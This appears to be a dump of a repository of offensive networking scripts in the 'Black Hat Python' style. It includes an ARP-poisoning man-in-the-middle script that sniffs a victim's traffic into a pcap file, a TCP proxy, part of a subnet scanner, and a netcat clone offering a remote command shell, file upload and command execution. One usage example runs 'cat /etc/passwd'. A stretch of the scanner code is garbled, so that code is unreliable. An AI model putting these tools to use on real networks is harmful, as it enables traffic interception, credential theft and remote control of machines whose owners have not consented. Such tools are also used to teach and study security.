poison_victim.pdst = self.victim 42 | poison_victim.hwdst = self.victimmac 43 | print(f'ip src: {poison_victim.psrc}') 44 | print(f'ip dst: {poison_victim.pdst}') 45 | print(f'mac dst: {poison_victim.hwdst}') 46 | print(f'mac src: {poison_victim.hwsrc}') 47 | print(poison_victim.summary()) 48 | print('-'*30) 49 | poison_gateway = ARP() 50 | poison_gateway.op = 2 51 | poison_gateway.psrc = self.victim 52 | poison_gateway.pdst = self.gateway 53 | poison_gateway.hwdst = self.gatewaymac 54 | 55 | print(f'ip src: {poison_gateway.psrc}') 56 | print(f'ip dst: {poison_gateway.pdst}') 57 | print(f'mac dst: {poison_gateway.hwdst}') 58 | print(f'mac_src: {poison_gateway.hwsrc}') 59 | print(poison_gateway.summary()) 60 | print('-'*30) 61 | print(f'Beginning the ARP poison. [CTRL-C to stop]') 62 | while True: 63 | sys.stdout.write('.') 64 | sys.stdout.flush() 65 | try: 66 | send(poison_victim) 67 | send(poison_gateway) 68 | except KeyboardInterrupt: 69 | self.restore() 70 | sys.exit() 71 | else: 72 | time.sleep(2) 73 | 74 | def sniff(self, count=1000): 75 | time.sleep(5) 76 | print(f'Sniffing {count} packets') 77 | bpf_filter = "ip host %s" % victim 78 | packets = sniff(count=count, filter=bpf_filter, iface=self.interface) 79 | wrpcap('arper.pcap', packets) 80 | print('Got the packets') 81 | self.restore() 82 | self.poison_thread.terminate() 83 | print('Finished') 84 | 85 | def restore(self): 86 | print('Restoring ARP tables...') 87 | send(ARP( 88 | op=2, 89 | psrc=self.gateway, 90 | hwsrc=self.gatewaymac, 91 | pdst=self.victim, 92 | hwdst='ff:ff:ff:ff:ff:ff'), 93 | count=5) 94 | send(ARP( 95 | op=2, 96 | psrc=self.victim, 97 | hwsrc=self.victimmac, 98 | pdst=self.gateway, 99 | hwdst='ff:ff:ff:ff:ff:ff'), 100 | count=5) 101 | 102 | 103 | if __name__ == '__main__': 104 | (victim, gateway, interface) = (sys.argv[1], sys.argv[2], sys.argv[3]) 105 | myarp = Arper(victim, gateway, interface) 106 | myarp.run() -------------------------------------------------------------------------------- /scanner.py: -------------------------------------------------------------------------------- 1 | import ipaddress 2 | import os 3 | import socket 4 | import struct 5 | import sys 6 | import threading 7 | import time 8 | 9 | # Added This 10 | SUBNET = '192.168.1.0/24' 11 | MESSAGE = 'PYTHONRULES!' 12 | 13 | class IP: 14 | def __init__(self, buff=None): 15 | header = struct.unpack('> 4 17 | self.ihl = header[0] & 0xF 18 | 19 | self.tos = header[1] 20 | self.len = header[2] 21 | self.id = header[3] 22 | self.offset = header[4] 23 | self.ttl = header[5] 24 | self.protocol_num = header[6] 25 | self.sum = header[7] 26 | self.src = header[8] 27 | self.dst = header[9] 28 | 29 | # human readable IP addresses 30 | self.src_address = ipaddress.ip_address(self.src) 31 | self.dst_address = ipaddress.ip_address(self.dst) 32 | 33 | # map protocol constants to their names 34 | self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"} 35 | try: 36 | self.protocol = self.protocol_map[self.protocol_num] 37 | except Exception as e: 38 | print('%s No protocol for %s' % (e, self.protocol_num)) 39 | self.protocol = str(self.protocol_num) 40 | 41 | class ICMP: 42 | def __init__(self, buff): 43 | header = struct.unpack('] Sent to local.") 66 | 67 | while True: 68 | local_buffer = receive_from(client_socket) 69 | if len(local_buffer): 70 | print("[<==] Received %d bytes from local." % len(local_buffer)) 71 | hexdump(local_buffer) 72 | 73 | local_buffer = request_handler(local_buffer) 74 | remote_socket.send(local_buffer) 75 | print("[==>] Sent to remote.") 76 | 77 | remote_buffer = receive_from(remote_socket) 78 | if len(remote_buffer): 79 | print("[<==] Received %d bytes from remote." % len(remote_buffer)) 80 | hexdump(remote_buffer) 81 | 82 | remote_buffer = response_handler(remote_buffer) 83 | client_socket.send(remote_buffer) 84 | print("[==>] Sent to local.") 85 | 86 | if not len(local_buffer) or not len(remote_buffer): 87 | client_socket.close() 88 | remote_socket.close() 89 | print("[*] No more data. Closing connections.") 90 | break 91 | 92 | 93 | def server_loop(local_host, local_port, remote_host, remote_port, receive_first): 94 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 95 | try: 96 | server.bind((local_host, local_port)) 97 | except Exception as e: 98 | print("[!!] Failed to listen on %s:%d" % (local_host, local_port)) 99 | print("[!!] Check for other listening sockets or correct permissions.") 100 | print(e) 101 | sys.exit(0) 102 | 103 | print("[*] Listening on %s:%d" % (local_host, local_port)) 104 | server.listen(5) 105 | while True: 106 | client_socket, addr = server.accept() 107 | print("> Received incoming connection from %s:%d" % (addr[0], addr[1])) 108 | 109 | proxy_thread = threading.Thread( 110 | target=proxy_handler, 111 | args=(client_socket, remote_host, 112 | remote_port, receive_first)) 113 | proxy_thread.start() 114 | 115 | 116 | def main(): 117 | if len(sys.argv[1:]) != 5: 118 | print("Usage: ./proxy.py [localhost] [localport]", end='') 119 | print("[remotehost] [remoteport] [receive_first]") 120 | print("Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True") 121 | sys.exit(0) 122 | 123 | local_host = sys.argv[1] 124 | local_port = int(sys.argv[2]) 125 | 126 | remote_host = sys.argv[3] 127 | remote_port = int(sys.argv[4]) 128 | 129 | receive_first = sys.argv[5] 130 | 131 | if "True" in receive_first: 132 | receive_first = True 133 | else: 134 | receive_first = False 135 | 136 | server_loop(local_host, local_port, 137 | remote_host, remote_port, receive_first) 138 | 139 | 140 | if __name__ == '__main__': 141 | main() 142 | -------------------------------------------------------------------------------- /netcat.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import socket 3 | import shlex 4 | import subprocess 5 | import sys 6 | import textwrap 7 | import threading 8 | 9 | def execute(cmd): 10 | cmd = cmd.strip() 11 | if not cmd: 12 | return 13 | output = subprocess.check_output(shlex.split(cmd),stderr=subprocess.STDOUT) 14 | return output.decode() 15 | 16 | class NetCat: 17 | def __init__(self,args,buffer=None): 18 | self.args = args 19 | self.buffer = buffer 20 | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 21 | self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 22 | 23 | def run(self): 24 | if self.args.listen: 25 | self.listen() 26 | else: 27 | self.send() 28 | 29 | def send(self): 30 | self.socket.connect((self.args.target , self.args.port)) 31 | if self.buffer: 32 | self.socket.send(self.buffer) 33 | try: 34 | while True: 35 | recv_len = 1 36 | response = '' 37 | while recv_len: 38 | data = self.socket.recv(4096) 39 | recv_len = len(data) 40 | response += data.decode() 41 | if recv_len < 4096: 42 | break 43 | if response: 44 | print(response) 45 | buffer = input('>') 46 | buffer += '\n' 47 | self.socket.send(buffer.encode()) 48 | except KeyboardInterrupt: 49 | print('User terminated.') 50 | self.socket.close() 51 | sys.exit() 52 | 53 | def listen(self): 54 | self.socket.bind((self.args.target, self.args.port)) 55 | self.socket.listen(5) 56 | while True: 57 | client_socket, _ = self.socket.accept() 58 | client_thread = threading.Thread(target=self.handle, args=(client_socket,)) 59 | client_thread.start() 60 | 61 | def handle(self, client_socket): 62 | if self.args.execute: 63 | output = execute(self.args.execute) 64 | client_socket.send(output.encode()) 65 | 66 | elif self.args.upload: 67 | file_buffer = b'' 68 | while True: 69 | data = client_socket.recv(4096) 70 | if data: 71 | file_buffer += data 72 | print(len(file_buffer)) 73 | else: 74 | break 75 | 76 | with open(self.args.upload, 'wb') as f: 77 | f.write(file_buffer) 78 | message = f'Saved file {self.args.upload}' 79 | client_socket.send(message.encode()) 80 | 81 | elif self.args.command: 82 | cmd_buffer = b'' 83 | while True: 84 | try: 85 | client_socket.send(b' #> ') 86 | while '\n' not in cmd_buffer.decode(): 87 | cmd_buffer += client_socket.recv(64) 88 | response = execute(cmd_buffer.decode()) 89 | if response: 90 | client_socket.send(response.encode()) 91 | cmd_buffer = b'' 92 | except Exception as e: 93 | print(f'server killed {e}') 94 | self.socket.close() 95 | sys.exit() 96 | 97 | 98 | if __name__ == '__main__': 99 | parser = argparse.ArgumentParser( 100 | description='BHP Net Tool', 101 | formatter_class=argparse.RawDescriptionHelpFormatter, 102 | epilog=textwrap.dedent('''Example: 103 | netcat.py -t 192.16.1.108 -p 5555 -l -c #command shell 104 | netcat.py -t 192.16.1.108 -p 5555 -l -u=mytest.text #upload file 105 | netcat.py -t 192.16.1.108 -p 5555 -l -e=\"cat /etc/passwd\" #execute command 106 | echo 'ABC' | ./netcat.py -t 192.168.1.108 -p 135 #echo text to server port 135 107 | netcat.py -t 192.168.1.108 -p 5555 #connect to server 108 | ''')) 109 | parser.add_argument('-c', '--command', action='store_true', help='command shell') 110 | parser.add_argument('-e', '--execute', help='execute specified command') 111 | parser.add_argument('-l', '--listen', action='store_true', help='listen') 112 | parser.add_argument('-p', '--port', type=int, default=5555, help='specified port') 113 | parser.add_argument('-t', '--target', default='192.168.1.203', help='specified IP') 114 | parser.add_argument('-u', '--upload', help='upload file') 115 | args = parser.parse_args() 116 | 117 | if args.listen: 118 | buffer = '' 119 | else: 120 | buffer = sys.stdin.read() 121 | 122 | nc = NetCat(args, buffer.encode()) 123 | nc.run() -------------------------------------------------------------------------------- /.vscode/.ropeproject/config.py: -------------------------------------------------------------------------------- 1 | # The default ``config.py`` 2 | # flake8: noqa 3 | 4 | 5 | def set_prefs(prefs): 6 | """This function is called before opening the project""" 7 | 8 | # Specify which files and folders to ignore in the project. 9 | # Changes to ignored resources are not added to the history and 10 | # VCSs. Also they are not returned in `Project.get_files()`. 11 | # Note that ``?`` and ``*`` match all characters but slashes. 12 | # '*.pyc': matches 'test.pyc' and 'pkg/test.pyc' 13 | # 'mod*.pyc': matches 'test/mod1.pyc' but not 'mod/1.pyc' 14 | # '.svn': matches 'pkg/.svn' and all of its children 15 | # 'build/*.o': matches 'build/lib.o' but not 'build/sub/lib.o' 16 | # 'build//*.o': matches 'build/lib.o' and 'build/sub/lib.o' 17 | prefs['ignored_resources'] = ['*.pyc', '*~', '.ropeproject', 18 | '.hg', '.svn', '_svn', '.git', '.tox'] 19 | 20 | # Specifies which files should be considered python files. It is 21 | # useful when you have scripts inside your project. Only files 22 | # ending with ``.py`` are considered to be python files by 23 | # default. 24 | # prefs['python_files'] = ['*.py'] 25 | 26 | # Custom source folders: By default rope searches the project 27 | # for finding source folders (folders that should be searched 28 | # for finding modules). You can add paths to that list. Note 29 | # that rope guesses project source folders correctly most of the 30 | # time; use this if you have any problems. 31 | # The folders should be relative to project root and use '/' for 32 | # separating folders regardless of the platform rope is running on. 33 | # 'src/my_source_folder' for instance. 34 | # prefs.add('source_folders', 'src') 35 | 36 | # You can extend python path for looking up modules 37 | # prefs.add('python_path', '~/python/') 38 | 39 | # Should rope save object information or not. 40 | prefs['save_objectdb'] = True 41 | prefs['compress_objectdb'] = False 42 | 43 | # If `True`, rope analyzes each module when it is being saved. 44 | prefs['automatic_soa'] = True 45 | # The depth of calls to follow in static object analysis 46 | prefs['soa_followed_calls'] = 0 47 | 48 | # If `False` when running modules or unit tests "dynamic object 49 | # analysis" is turned off. This makes them much faster. 50 | prefs['perform_doa'] = True 51 | 52 | # Rope can check the validity of its object DB when running. 53 | prefs['validate_objectdb'] = True 54 | 55 | # How many undos to hold? 56 | prefs['max_history_items'] = 32 57 | 58 | # Shows whether to save history across sessions. 59 | prefs['save_history'] = True 60 | prefs['compress_history'] = False 61 | 62 | # Set the number spaces used for indenting. According to 63 | # :PEP:`8`, it is best to use 4 spaces. Since most of rope's 64 | # unit-tests use 4 spaces it is more reliable, too. 65 | prefs['indent_size'] = 4 66 | 67 | # Builtin and c-extension modules that are allowed to be imported 68 | # and inspected by rope. 69 | prefs['extension_modules'] = [] 70 | 71 | # Add all standard c-extensions to extension_modules list. 72 | prefs['import_dynload_stdmods'] = True 73 | 74 | # If `True` modules with syntax errors are considered to be empty. 75 | # The default value is `False`; When `False` syntax errors raise 76 | # `rope.base.exceptions.ModuleSyntaxError` exception. 77 | prefs['ignore_syntax_errors'] = False 78 | 79 | # If `True`, rope ignores unresolvable imports. Otherwise, they 80 | # appear in the importing namespace. 81 | prefs['ignore_bad_imports'] = False 82 | 83 | # If `True`, rope will insert new module imports as 84 | # `from import ` by default. 85 | prefs['prefer_module_from_imports'] = False 86 | 87 | # If `True`, rope will transform a comma list of imports into 88 | # multiple separate import statements when organizing 89 | # imports. 90 | prefs['split_imports'] = False 91 | 92 | # If `True`, rope will remove all top-level import statements and 93 | # reinsert them at the top of the module when making changes. 94 | prefs['pull_imports_to_top'] = True 95 | 96 | # If `True`, rope will sort imports alphabetically by module name instead 97 | # of alphabetically by import statement, with from imports after normal 98 | # imports. 99 | prefs['sort_imports_alphabetically'] = False 100 | 101 | # Location of implementation of 102 | # rope.base.oi.type_hinting.interfaces.ITypeHintingFactory In general 103 | # case, you don't have to change this value, unless you're an rope expert. 104 | # Change this value to inject you own implementations of interfaces 105 | # listed in module rope.base.oi.type_hinting.providers.interfaces 106 | # For example, you can add you own providers for Django Models, or disable 107 | # the search type-hinting in a class hierarchy, etc. 108 | prefs['type_hinting_factory'] = ( 109 | 'rope.base.oi.type_hinting.factory.default_type_hinting_factory') 110 | 111 | 112 | def project_opened(project): 113 | """This function is called after opening the project""" 114 | # Do whatever you like here! 115 | --------------------------------------------------------------------------------